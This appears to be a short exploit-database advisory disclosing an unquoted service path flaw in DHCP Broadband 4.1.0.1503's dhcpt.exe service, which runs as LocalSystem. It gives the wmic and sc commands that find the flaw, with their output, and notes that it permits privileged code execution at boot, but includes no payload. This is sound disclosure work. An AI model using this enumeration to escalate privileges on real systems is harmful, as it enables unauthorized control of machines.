# Exploit Title: DHCP Broadband 4.1.0.1503 - 'dhcpt.exe' Unquoted Service Path
# Discovery by: Erick Galindo
# Discovery Date: 2020-05-07
# Vendor Homepage: https://www.weird-solutions.com
# Software :https://www.weird-solutions.com/download/products/dhcpbbv4_retail_x64.exe
# Tested Version: 4.1.0.1503
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Prox64 es
# Step to discover Unquoted Service Path:
C:\> wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i"DHCP"
DHCP Broadband 4DHCP Broadband 4C:\Program Files\DHCP Broadband 4\dhcpt.exeAuto
# Service info
C:\>sc qc "DHCP Broadband 4"
[SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: DHCP Broadband 4
TIPO : 10WIN32_OWN_PROCESS
TIPO_INICIO: 2 AUTO_START
CONTROL_ERROR: 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files\DHCP Broadband 4\dhcpt.exe
GRUPO_ORDEN_CARGA:
ETIQUETA : 0
NOMBRE_MOSTRAR : DHCP Broadband 4
DEPENDENCIAS : Nsi
: Afd
: NetBT
: Tcpip
NOMBRE_INICIO_SERVICIO: LocalSystem
#Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.